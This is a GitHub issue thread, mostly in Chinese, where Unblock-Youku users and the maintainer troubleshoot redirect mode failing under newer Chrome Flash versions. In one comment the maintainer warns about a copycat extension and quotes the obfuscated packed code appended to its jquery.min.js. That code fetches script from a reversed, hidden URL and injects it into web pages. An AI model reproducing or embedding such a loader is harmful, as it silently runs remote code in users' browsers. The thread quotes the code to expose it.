uku / Unblock-Youku

A Chrome extension helping users access their web services while traveling outside mainland China
https://uku.im
GNU Affero General Public License v3.0
3.18k stars 651 forks source link

新版 Flash 会使转发模式失效 #209

Closed zhuzhuor closed 10 years ago

zhuzhuor commented 10 years ago

Chrome 版本号 34.0.1832.0 canary Flash 版本号 12,0,0,69

最近几天测试发现扩展程序在 canary 版本的 Chrome 上是彻底不 work 貌似是只要是被扩展程序 redirect 过的 http request 都有问题

在 stable 的 Chrome 32 版下没问题,Flash 的版本号是12,0,0,44 希望不是 Chrome 自带的新版 Flash 增加了什么限制 未雨绸缪地先在这里记录一

screen shot 2014-02-09 at 7 45 55 pm screen shot 2014-02-09 at 7 45 48 pm

zhuzhuor commented 10 years ago

@yannuil 你关闭浏览器,重开下试试? 另外你在 chrome://extensions 页面看看你用的扩展程序的版本号?

yannuil commented 10 years ago

@zhuzhuor 重启了,还是不行。我等下去其他地方,换个网络会再试试的。 目前为止,任何一个视频网站都不行。 您那里能播放视频吗? chrome 里的是Unblock Youku 2.6.11.2, 我在隐身窗口里面也试了,没有任何一个其他的extension,只有unblock youku。 在优酷里,普通模式给的2003的错误代码,其他两个模式都是1000(仅限大陆用户)。

yannuil commented 10 years ago

@zhuzhuor 一切都好了。 我刚刚卸载了ublock youku,再重新从chrome store安装了,问题就解决了。 我发现您最近从2.6.11.1升到了2.6.11.2,会不会是chrome自动升级造成的问题呢?

zhuzhuor commented 10 years ago

@yannuil 看起来应该不会,猜测是临时的问题,回头有机会可以仔细调查下

yannuil commented 10 years ago

@zhuzhuor 谢谢,您最近有上过搜狐视频吗?他们好像用了新的检测地域的方式,可以研究研究,好像是block user agent

zhuzhuor commented 10 years ago

@yannuil 你用的什么浏览器?我看到有用户反馈这个问题,但是没办法重现 如果你遇到的话能提供个视频链接让我们试试吗?

yannuil commented 10 years ago

@zhuzhuor 我用的是chrome.我现在office,用ubuntu, chrome 33.0.1750.117, 可以正常打开搜狐视频,无法重现问题.但是,我在家里用windows,也是chrome,版本暂不确定,却无法打开搜狐视频,网页会被redirect.

zhuzhuor commented 10 years ago

@yannuil 等你回家能帮忙再看看吗,到时候我们重新开个 issue 专门说这个问题 如果方便的话希望能提供 chrome://version 和 chrome://extensions 两个页面的截图 http://uku.im/screenshots 有这两个页面的范例,先感谢了

yannuil commented 10 years ago

@zhuzhuor 没有问题,我到家整理好了后,连debugging console的output一起发给你 :)

winnie888 commented 10 years ago

@zhuzhuor 我想问一下,我disable了12.0.0.70之后,怎么转换成12.0.0.44的啊~

zhuzhuor commented 10 years ago

@winnie888 我这边 Chrome 已经自动把内置的 Flash 升级到 12.0.0.70 了 除了手动没办法更换成 .44 的了,而且 .44 前两天爆出来一个挺严重的安全漏洞,所以不推荐更换成 .44 版本的

如果你能用普通模式的话,就先用一段时间普通模式吧

如果不行的话,可以试试下载个 Opera 20,然后手动安装我们的扩展程序

  1. 下载扩展程序的 crx 文件 http://uku.im/crx
  2. 下载并安装 Opera 20 http://www.opera.com/computer
  3. 在 Opera 里面打开 opera://extensions 页面
  4. 把刚才下载的 crx 文件拖入 extensions 页面,然后就应该会自动提示安装了
zeruitle commented 10 years ago

win7,chrome,flash12.0.0.70,comcast网。。。测试结果: 爱奇艺,space dandy,普通模式: 浏览器兼容性或网络问题,其他两个模式:版权原因不支持 优酷,天才援交少女,普通模式:链接失败,其他两个模式:数据异常 土豆,宽叔醒醒,普通模式:无法播放Y2003,其他两个模式:无法播放Y2002 新浪,太祖传,普通模式:加载失败,其他两个模式:版权

总结。。。目前全跪。。。

yannuil commented 10 years ago

@zeruitle 你可以先卸载ublock youku extension,重新启动chrome后,在到chrome store安装unblock youku。 我曾遇到的是同样的问题,我这样可以解决的。

@zhuzhuor 对不起,昨天在家,忘记开搜狐视频的issue了。我记着呢,明天就开issue。

zeruitle commented 10 years ago

@yannuil 问题已经解决了?我看了上面的串后怎么看都是flash的问题啊。。。

yannuil commented 10 years ago

@zeruitle 您先试试看我的方法,行不行。 这个issue是关于redirect request,而普通模式下的change header还是可以正常观看视频的

zeruitle commented 10 years ago

@yannuil 额。。。我试试再来。。。

zeruitle commented 10 years ago

@yannuil 确实,爱奇艺能在普通模式下看了。。。我之前更新过extension啊。。。为啥没用。。。谢谢您啊。。。

winnie888 commented 10 years ago

@zhuzhuor 不好意思啊,怎么拖入扩展界面啊,能不能给个图片说明啊,谢啦!!!

winnie888 commented 10 years ago

@yannuil 为什么我卸载了unblock youku,再重新安装还是在普通模式下不可以看啊···我在法国,这个有地域限制吗···

winnie888 commented 10 years ago

@zhuzhuor 再次不好意思啊,我按照你说的安装好了opera,但是为什么显示不支持该插件呢 qq20140310141234

zhuzhuor commented 10 years ago

@winnie888 iqiyi 说这这个“插件”应该不是指的我们的扩展程序,应该是别的什么出问题了 不过你能发这个视频的链接给我们吗? 另外你看别的优酷什么的有问题吗?

zeruitle commented 10 years ago

@winnie888 用chrome的话卸载后关闭chrome再启动再重装。。。美国这边表示这样就能用了。。。使用chrome://extensions/ 来进入extension,也可以用chrome://plugins/ 来查看自己的flash状况。。。opera就不清楚了。。。不过你这个提示目测是flash问题吧? @zhuzhuor

winnie888 commented 10 years ago

@zhuzhuor 这是那个视频的链接:http://www.iqiyi.com/v_19rrh705lc.html?fc=a97e174ca9963dc9&src=focustext_0_20130527_2

winnie888 commented 10 years ago

@zhuzhuor 优酷没用opera,谷歌浏览器还是转发模式用不了,普通模式只是看没有地区限制的~

winnie888 commented 10 years ago

@zhuzhuor 优酷opera显示这样 qq20140310225134

winnie888 commented 10 years ago

@zhuzhuor 不好意思啊,我又用opera试了下爱奇艺,选的是转发模式,可以用了,但是优酷还是用不了,谷歌浏览器也用不了

zhuzhuor commented 10 years ago

@winnie888 我总结一下,你遇到的情况是这样的吗?

  1. Chrome 和 Opera 的普通模式都不能用
  2. Opera 用转发模式,爱奇艺可以正常工作,优酷不行

这样的话,估计是你所用的网络的问题,普通模式受干扰不能正常工作 等 Chrome 的 Flash 下次升级前,你只能用 Opera 的转发模式了

你提到的两个视频,我这边用 Opera 的转发模式都可以看 不过你遇到的 2002 错误,也有别的用户反馈,暂时不知道什么问题,回头我们可以持续关注下

screen shot 2014-03-10 at 7 41 57 pm screen shot 2014-03-10 at 7 41 52 pm

yannuil commented 10 years ago

@zhuzhuor 对于搜狐视频的问题,我已经解决了。和unblock youku一点关系都没有。

这是问题发生时候的截图, 左边的是unblock youku的debug console - google chrome

因为unblock youku的debug console没有任何output,所以我知道这个和unblock youku没有关系。

解决方法是,删除一个cookie,请看下图中选中项 - cookie - google chrome 2014311 124531 bmp

通过这个,我总结,很多情况下,不能看视频也许是因为cookie的问题。像@winnie888 他/她可以尝试清除网站cookie

winnie888 commented 10 years ago

@zhuzhuor @yannuil 好的好的,谢谢你们啦!

dingdingding97 commented 10 years ago

我的adobe flash好像是新更新的12.0.0.77,只有优酷用不了,浏览器用的是chrome加unblock youku, 一加载优酷视频,就是连接错误,代码2003,网上写的方法都有尝试,可是都没有用,之前有过这个问题,下载了adkill and media download之后好了一段时间,现在又不行了,求解答!

zhuzhuor commented 10 years ago

@dingdingding97 多谢提醒,我这里也升级到了 12.0.0.77 我这里试了下,转发模式还是有问题 要么是 adobe 提供给 google 的 fix 还没加到新版里,要么是 fix 没有解决问题

你能用普通模式就用普通模式,如果不行的话试试上面说的用 Opera 的办法

xxy171070 commented 10 years ago

@dingdingding97 今天优酷升级了播放器,所有在Chrome下去广告的措施(扩展和脚本)暂时失效。

dingdingding97 commented 10 years ago

@zhuzhuor 我两种模式都试了都不管用,所以新升级了的adobe还会变好吗,有试着下载opera可还是用不太熟,不知道要怎样在opera用unblockyouku之类的 @xxy171070 暂时失效的话很快就会好吗,是优酷升级了的事,还是adobe升级了的问题

a8181811 commented 10 years ago

@dingdingding97 很快好不好不好说,优酷的问题,不停升级播放器反制去广告办法。

gx1989djjxxx commented 10 years ago

我的youku之前也有这个问题,但是装多一个插件“优酷一键通”和Unblock youku一起用之后神奇的可以看大陆地区限制的视频了。。。 tupian 希望对你们有帮助

zhuzhuor commented 10 years ago

@gx1989djjxxx 我查了查,优酷一键通 是剽窃 OpenGG 的扩展之一,现在还是在 OpenGG 的榜上 http://opengg.me/868/pissed-off/

另外我稍微看了下 优酷一键通 的代码(弄了份代码备份在这里) 其中的 jquery.min.js 文件被故意改动过,在官方的 v1.7.2 版本后面加了一段混淆过的代码 虽然一下子看不出来是做什么用的,但是应该不是什么好东西 所以请谨慎使用这些扩展程序

        eval(function (p, a, c, k, e, r) {
            e = function (c) {
                return (c < a ? '' : e(parseInt(c /a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/ ^ /,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('0 3=5(){0 h=1.L;0 v=h.A("6");0 c=\'q--y\';2(v!==c){h.C(\'6\',c);0 b=8 9();0 u="e.f.g//:i".j("").k().l("");b.m("n",u,o);b.p=5(){2(b.V==4&&b.r==w){0 a=b.z;2(a!==""){0 t=1.B;0 s=1.D(\'E\');s.F=\'G/\';
                s.I = a;
                t.J(s, t.K)
            }
        }
    };
    b.7("M-N", "O");
    b.7("P-Q", "R/x-S-T-U");
    b.d()
}
};
3();
',58,58,' var | document | if | forfun || function | version | setRequestHeader | new | XMLHttpRequest |||| send | moc | ppaanis | gollru || sptth | split | reverse | join | open | GET | true | onreadystatechange | g42dymwpi | status ||||| 200 || nx | responseText | getAttribute | body | setAttribute | createElement | script | type | text | javascript | innerHTML | insertBefore | lastChild | documentElement | Check | Update | True | Content | Type | application | www | form | urlencoded | readyState '.split(' | ),
0,
{}))
bridgiewiggie commented 10 years ago

我是在澳大利亚 这段时间一直都用不到youku出现2003错误代码 试了youku FAQ的方法还是不行。adobe 更新到了12.0.0.77 前几天卸载了unblockyouku再重新install后坚持了3天左右又看不了 尝试了很多方法终于成功 -用youku FAQ的方法 -卸载unblock youku -禁用adobe PAPPI
image -卸载所有adblock插件 -重新下载unblockyouku image 成功,不过不知道能撑多少天

zhuzhuor commented 10 years ago

今天 Chrome stable 升级到 v34 了 自带的 PPAPI flash player 已经升级到 13.0.0.182

不过问题依旧存在

e-larry commented 10 years ago

还好看见@zhuzhuor 的留言——我以为现在只有我有这个问题了…… T_T

真的很奇怪——按http://vemma52168.pixnet.net/blog/post/103687795-%E5%9C%A8-ie%E3%80%81firefox%E3%80%81iphone%E3%80%81ipad-%E8%A8%AD%E5%AE%9A-unblock-youku-%E6%95%99%E5%AD%B8 的说明,在http://ipservice.163.com/isFromMainland 测试结果为真诶!可就是无论用Normal还是Redirect模式都说我不在中国大陆,这到底是为什么啊??

sinkamtung commented 10 years ago

今天去优酷 发现又看不了了 卸载了再重装还是不行 为什么? 用的是opera

zhuzhuor commented 10 years ago

@sinkamtung 我看到你之前说普通模式不能用,你这次试过转发模式了没? 另外不能看的时候的错误提示是什么?

sinkamtung commented 10 years ago

因为我普通模式之前一直都是不能用,所以我一直都是用转发模式。然后前几天还能用的。不过好几天没用之后昨天医用就用不了了。错误提示是2003,然后我朋友也出现了突然用不了的情况

在 2014年4月25日 下午10:43,zhuzhuor notifications@github.com写道:

@sinkamtung https://github.com/sinkamtung 我看到你之前说普通模式不能用,你这次试过转发模式了没? 另外不能看的时候的错误提示是什么?

— Reply to this email directly or view it on GitHubhttps://github.com/zhuzhuor/Unblock-Youku/issues/209#issuecomment-41400143 .

yannuil commented 10 years ago

@sinkamtung 你试试卸载unblock youku后,在重新安装?还有清除优酷的cookies

sinkamtung commented 10 years ago

试过卸载重装 还是不行 不过没试过清除优酷的cookies 请问怎么清除?

2014-04-26 9:56 GMT+08:00 Yang Liu notifications@github.com:

@sinkamtung https://github.com/sinkamtung 你试试卸载unblock youku后,在重新安装?还有清除优酷的cookies

— Reply to this email directly or view it on GitHubhttps://github.com/zhuzhuor/Unblock-Youku/issues/209#issuecomment-41454243 .

zhuzhuor commented 10 years ago

@sinkamtung 如果用 Chrome 的话,转发模式现在不能用 你可以读读这个页面上面的讨论,以及用 Opera 装扩展的解决办法

sinkamtung commented 10 years ago

我就是用opera ,因为chrome不行。结果现在连opera都不行了。。

在 2014年4月26日 上午11:55,zhuzhuor notifications@github.com写道:

@sinkamtung https://github.com/sinkamtung 如果用 Chrome 的话,转发模式现在不能用 你可以读读这个页面上面的讨论,以及用 Opera 装扩展的解决办法

— Reply to this email directly or view it on GitHubhttps://github.com/zhuzhuor/Unblock-Youku/issues/209#issuecomment-41459083 .

celiachan commented 10 years ago

我也將chrome卸载重装 还是出現2003,不行.............

karlcheong commented 10 years ago

2003是 v.youku.com/player/getP... 不能連接 原因基本上是一般模式的大陸代理不能連接。

sinkamtung commented 10 years ago

那要怎么解决。。。

2014-04-26 21:44 GMT+08:00 karlcheong notifications@github.com:

2003是 v.youku.com/player/getP... 不能連接 原因基本上是一般模式的大陸代理不能連接。

— Reply to this email directly or view it on GitHubhttps://github.com/zhuzhuor/Unblock-Youku/issues/209#issuecomment-41469039 .

karlcheong commented 10 years ago

先把console上的log貼出來看看。。 方法可看 http://uku.im/screenshots